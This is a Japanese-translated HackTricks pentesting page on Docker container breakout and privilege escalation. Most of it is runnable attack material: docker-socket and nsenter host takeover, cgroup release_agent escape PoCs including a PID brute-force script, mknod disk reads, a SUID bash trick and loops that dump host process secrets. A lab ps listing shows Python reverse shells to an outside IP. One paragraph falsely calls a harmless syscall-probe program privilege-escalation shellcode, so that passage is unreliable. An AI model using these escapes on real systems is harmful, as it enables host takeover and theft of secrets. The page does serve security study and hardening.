Docker Breakout / Privilege Escalation

AWSハッキングを学び、実践:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践: HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポート

Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。 今すぐアクセスしてください:

自動列挙と脱出

  • linpeas: コンテナを列挙することもできます

  • CDK: このツールは、現在のコンテナを列挙し、自動的に脱出を試みるのに非常に便利です

  • amicontained: コンテナが持つ権限を取得し、それから脱出する方法を見つけるための便利なツール

  • deepce: コンテナからの列挙と脱出のためのツール

  • grype: イメージにインストールされているソフトウェアに含まれるCVEを取得する

マウントされたDockerソケットの脱出

もし何らかの理由で、dockerソケットがDockerコンテナ内にマウントされていることがわかった場合、それから脱出することができます。 これは通常、何らかの理由でdockerコンテナがdockerデーモンに接続してアクションを実行する必要がある場合に発生します。

#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock

この場合、通常のdockerコマンドを使用してdockerデーモンと通信できます:

#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash

# Get full access to the host via ns pid and nsenter cli
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash

docker ソケットが予期しない場所にある場合は、docker コマンドを使用してそれと通信することができます。パラメータは -H unix:///path/to/docker.sock です。

Docker デーモンはデフォルトでポート(2375、2376)でリスニングされている可能性があり、Systemd ベースのシステムでは Docker デーモンとの通信が Systemd ソケット fd:// を介して行われることがあります。

さらに、他のハイレベルランタイムのランタイムソケットにも注意してください:

  • dockershim: unix:///var/run/dockershim.sock

  • containerd: unix:///run/containerd/containerd.sock

  • cri-o: unix:///var/run/crio/crio.sock

  • frakti: unix:///var/run/frakti.sock

  • rktlet: unix:///var/run/rktlet.sock

  • ...

Capabilities Abuse Escape

コンテナの権限をチェックする必要があります。以下の権限のいずれかがある場合、それから脱出することができるかもしれません: CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE, CAP_SYS_RAWIO, CAP_SYSLOG, CAP_NET_RAW, CAP_NET_ADMIN

以前に言及した自動ツールまたは次の方法で現在のコンテナの権限を確認できます:

capsh --print

特権付きコンテナからの脱出

特権付きコンテナは、次のようなフラグを使用して作成できます: --privileged または特定の防御を無効にすることによって:

  • --cap-add=ALL

  • --security-opt apparmor=unconfined

  • --security-opt seccomp=unconfined

  • --security-opt label:disable

  • --pid=host

  • --userns=host

  • --uts=host

  • --cgroupns=host

  • /dev をマウント

--privileged フラグは、コンテナのセキュリティを著しく低下させ、制限のないデバイスアクセスを提供し、いくつかの保護をバイパスします。詳細な説明については、--privileged の完全な影響に関するドキュメントを参照してください。

Docker --privileged

特権 + hostPID

これらの権限を持っていると、単に次のように実行するだけで、ホストで root として実行されているプロセス(init (pid:1) のような)の名前空間に移動できます: nsenter --target 1 --mount --uts --ipc --net --pid -- bash

コンテナでテストを実行します:

docker run --rm -it --pid=host --privileged ubuntu bash

特権

特権フラグだけで、ホストのディスクにアクセスを試みたり、release_agentを悪用したりして脱出を試みることができます。

コンテナで以下のバイパスをテストしてください:

docker run --rm -it --privileged ubuntu bash

ディスクのマウント - Poc1

適切に構成されたDockerコンテナは、fdisk -lのようなコマンドを許可しません。ただし、--privilegedフラグや--device=/dev/sda1というキャップが指定されたミス構成のDockerコマンドでは、特権を取得してホストドライブを表示することが可能です。

したがって、ホストマシンを乗っ取ることは簡単です:

mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola

そして、ホストのファイルシステムにアクセスできるようになりました。なぜなら、それが /mnt/hola フォルダにマウントされているからです。

ディスクのマウント - Poc2

コンテナ内では、攻撃者はクラスターによって作成された書き込み可能な hostPath ボリュームを介して、基礎となるホスト OS へのさらなるアクセスを試みるかもしれません。以下は、この攻撃ベクトルを利用できるかどうかを確認するためにコンテナ内でチェックできる一般的な項目です:

### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger

### Check root UUID
cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300

# Check Underlying Host Filesystem
findfs UUID=<UUID Value>
/dev/sda1

# Attempt to Mount the Host's Filesystem
mkdir /mnt-test
mount /dev/sda1 /mnt-test
mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.

### debugfs (Interactive File System Debugger)
debugfs /dev/sda1

特権エスケープ 既存の release_agent を悪用 (cve-2022-0492) - PoC1

初期 PoC
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

# Finds + enables a cgroup release_agent
# Looks for something like: /sys/fs/cgroup/*/release_agent
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
# If "d" is empty, this won't work, you need to use the next PoC

# Enables notify_on_release in the cgroup
mkdir -p $d/w;
echo 1 >$d/w/notify_on_release
# If you have a "Read-only file system" error, you need to use the next PoC

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
touch /o; echo $t/c > $d/release_agent

# Creates a payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c

# Triggers the cgroup via empty cgroup.procs
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1

# Reads the output
cat /o

技術の説明は以下で見つけることができます:

Docker release_agent cgroups escape

release_agentを悪用した特権エスケープ - 相対パスが不明な場合の PoC3

以前の攻撃では、ホストのファイルシステム内のコンテナの絶対パスが公開されていました。ただし、常にそうとは限りません。ホスト内のコンテナの絶対パスがわからない場合には、この技術を使用できます:

release_agent exploit - Relative Paths to PIDs
#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

特権付きコンテナ内でPoCを実行すると、次のような出力が得られるはずです:

root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
...

特権エスケープ:機密マウントの悪用

いくつかのファイルがマウントされる可能性があり、基礎となるホストに関する情報を提供することがあります。それらの中には、ホストが何かが起こったときに実行されるべきものを示すことさえあるかもしれません(これにより攻撃者がコンテナから脱出することが可能になります)。 これらのファイルの悪用により、次のことが可能になるかもしれません:

ただし、このページでチェックすべき他の機密ファイルを見つけることができます:

Sensitive Mounts

任意のマウント

何度かの機会に、コンテナがホストからのボリュームをマウントしていることがあります。このボリュームが正しく構成されていない場合、アクセス/変更が可能になる機密データがあるかもしれません:シークレットの読み取り、sshのauthorized_keysの変更...

docker run --rm -it -v /:/host ubuntu bash

2つのシェルとホストマウントを使用した特権昇格

もし、ホストからマウントされたフォルダを持つコンテナ内のrootとしてのアクセス権を持っており、非特権ユーザーとしてホストに脱出し、マウントされたフォルダに読み取りアクセス権がある場合、 コンテナ内のマウントされたフォルダbash suidファイルを作成し、それをホストから実行することで特権昇格が可能です。

cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder

2つのシェルを使用した特権昇格

もし、コンテナ内でrootアクセスを持ち、かつ特権のないユーザーとしてホストに脱出できた場合、コンテナ内でMKNODの権限(デフォルトで使用可能)があれば、この投稿で説明されているように、ホスト内で特権昇格を悪用することができます。 この権限を持つと、コンテナ内のrootユーザーはブロックデバイスファイルを作成することが許可されます。デバイスファイルは、基礎となるハードウェアやカーネルモジュールにアクセスするために使用される特別なファイルです。例えば、/dev/sdaのブロックデバイスファイルは、システムディスク上の生データを読むためのアクセスを提供します。

Dockerは、コンテナ内でのブロックデバイスの誤用を防ぐために、ブロックデバイスの読み書き操作をブロックするcgroupポリシーを強制しています。しかし、もしコンテナ内でブロックデバイスが作成された場合、それは**/proc/PID/root/ディレクトリを介してコンテナ外からアクセス可能になります。このアクセスには、コンテナ内外のプロセス所有者が同じ**である必要があります。

この解説からの悪用の例:

# On the container as root
cd /
# Crate device
mknod sda b 8 0
# Give access to it
chmod 777 sda

# Create the nonepriv user of the host inside the container
## In this case it's called augustus (like the user from the host)
echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
# Get a shell as augustus inside the container
su augustus
su: Authentication failure
(Ignored)
augustus@3a453ab39d3d:/backend$ /bin/sh
/bin/sh
$
# On the host

# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user
augustus@GoodGames:~$ ps -auxf | grep /bin/sh
root      1496  0.0  0.0   4292   744 ?        S    09:30   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root      1627  0.0  0.0   4292   756 ?        S    09:44   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
augustus  1659  0.0  0.0   4292   712 ?        S+   09:48   0:00                          \_ /bin/sh
augustus  1661  0.0  0.0   6116   648 pts/0    S+   09:48   0:00              \_ grep /bin/sh

# The process ID is 1659 in this case
# Grep for the sda for HTB{ through the process:
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}

hostPID

ホストのプロセスにアクセスできる場合、それらのプロセスに格納されている多くの機密情報にアクセスできるようになります。テストラボを実行します:

docker run --rm -it --pid=host ubuntu bash

For example, you will be able to list the processes using something like ps auxn and search for sensitive details in the commands.

Then, as you can access each process of the host in /proc/ you can just steal their env secrets running:

for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...

あなたは他のプロセスのファイルディスクリプタにアクセスし、それらのオープンされたファイルを読むこともできます。

for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
...omitted for brevity...
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4

あなたはまたプロセスを終了させ、DoSを引き起こすことができます。

もしコンテナの外部のプロセスに特権アクセスを持っている場合は、nsenter --target <pid> --allnsenter --target <pid> --mount --net --pid --cgroupのようなコマンドを実行して、そのプロセスと同じns制限(たぶんなし)を持つシェルを実行できます。

hostNetwork

docker run --rm -it --network=host ubuntu bash

もしコンテナがDockerのホストネットワーキングドライバ(--network=host)で構成されている場合、そのコンテナのネットワークスタックはDockerホストから分離されていません(コンテナはホストのネットワーキング名前空間を共有しており、コンテナには独自のIPアドレスが割り当てられません)。言い換えると、コンテナはすべてのサービスを直接ホストのIPにバインドします。さらに、コンテナは共有インターフェース上でホストが送受信しているすべてのネットワークトラフィックを傍受できます tcpdump -i eth0

例えば、これを使用してホストとメタデータインスタンス間のトラフィックをスニッフィングやスプーフィングすることができます。

以下の例のように:

また、ホスト内でlocalhostにバインドされたネットワークサービスにアクセスしたり、ノードのメタデータ権限にアクセスすることもできます(これはコンテナがアクセスできるものと異なる場合があります)。

hostIPC

docker run --rm -it --ipc=host ubuntu bash

hostIPC=trueを使用すると、ホストのプロセス間通信(IPC)リソースにアクセスできます。たとえば、/dev/shm内の共有メモリにアクセスできます。これにより、他のホストやポッドプロセスが使用している同じIPCリソースを読み取り/書き込みできます。これらのIPCメカニズムをさらに調査するには、ipcsを使用します。

  • /dev/shmの調査 - この共有メモリの場所にあるファイルを確認します:ls -la /dev/shm

  • 既存のIPC施設の調査 - /usr/bin/ipcsを使用して、IPC施設が使用されているかどうかを確認できます。次のコマンドを使用して確認します:ipcs -a

機能の回復

シスコール unshare が禁止されていない場合、次のコマンドを実行してすべての機能を回復できます:

unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff

シンボリックリンクを介したユーザー名前空間の悪用

https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/ で説明されている2番目のテクニックは、ユーザー名前空間でバインドマウントを悪用して、ホスト内のファイルに影響を与える方法を示しています(特定のケースでは、ファイルを削除します)。

Trickest を使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。 今すぐアクセスを取得:

CVEs

Runc exploit (CVE-2019-5736)

docker execをrootとして実行できる場合(おそらくsudoで)、CVE-2019-5736を悪用してコンテナから特権を昇格させることを試みることができます(こちらにエクスプロイトがあります)。このテクニックは基本的に、ホスト内の/bin/shバイナリをコンテナから上書きするものであり、docker execを実行すると誰でもペイロードをトリガーできます。

ペイロードを適切に変更し、go build main.goでmain.goをビルドします。生成されたバイナリは、実行のためにdockerコンテナに配置する必要があります。 実行時に、[+] Overwritten /bin/sh successfullyと表示されると、ホストマシンから次のコマンドを実行する必要があります:

docker exec -it <container-name> /bin/sh

これにより、main.goファイルに存在するペイロードがトリガーされます。

詳細については: https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html

コンテナが脆弱である可能性のある他のCVEについては、https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-listでリストを見つけることができます。

Docker Custom Escape

Docker Escape Surface

  • 名前空間: プロセスは名前空間によって他のプロセスから完全に分離される必要があります。そのため、名前空間によって他のプロセスとのやり取りを回避することはできません(デフォルトでは、IPC、Unixソケット、ネットワークサービス、D-Bus、他のプロセスの/procを介して通信できません)。

  • ルートユーザー: プロセスを実行するデフォルトのユーザーはルートユーザーです(ただし、権限は制限されています)。

  • 機能: Dockerは次の機能を残します:cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep

  • シスコール: これらはルートユーザーが呼び出せないシスコールです(機能の不足+Seccompのため)。他のシスコールを使用して脱出を試みることができます。

0x067 -- syslog
0x070 -- setsid
0x09b -- pivot_root
0x0a3 -- acct
0x0a4 -- settimeofday
0x0a7 -- swapon
0x0a8 -- swapoff
0x0aa -- sethostname
0x0ab -- setdomainname
0x0af -- init_module
0x0b0 -- delete_module
0x0d4 -- lookup_dcookie
0x0f6 -- kexec_load
0x12c -- fanotify_init
0x130 -- open_by_handle_at
0x139 -- finit_module
0x140 -- kexec_file_load
0x141 -- bpf
0x029 -- pivot_root
0x059 -- acct
0x069 -- init_module
0x06a -- delete_module
0x074 -- syslog
0x09d -- setsid
0x0a1 -- sethostname
0x0a2 -- setdomainname
0x0aa -- settimeofday
0x0e0 -- swapon
0x0e1 -- swapoff
0x106 -- fanotify_init
0x109 -- open_by_handle_at
0x111 -- finit_module
0x118 -- bpf

syscall_bf.cファイルは、Dockerコンテナ内で実行される特権昇格攻撃のためのシェルコードを含んでいます。この攻撃は、Linuxカーネルのシステムコールを悪用して、Dockerコンテナからホストマシンに特権昇格することを可能にします。攻撃者はこの手法を使用して、Dockerコンテナのセキュリティを回避し、ホストシステムに侵入することができます。

// From a conversation I had with @arget131
// Fir bfing syscalss in x64

#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

int main()
{
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
}
```

Container Breakout through Usermode helper Template

If you are in userspace (no kernel exploit involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):

  • Find the path of the containers filesystem inside the host

  • You can do this via mount, or via brute-force PIDs as explained in the second release_agent exploit

  • Find some functionality where you can indicate the path of a script to be executed by a host process (helper) if something happens

  • You should be able to execute the trigger from inside the host

  • You need to know where the containers files are located inside the host to indicate a script you write inside the host

  • Have enough capabilities and disabled protections to be able to abuse that functionality

  • You might need to mount things o perform special privileged actions you cannot do in a default docker container

References

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated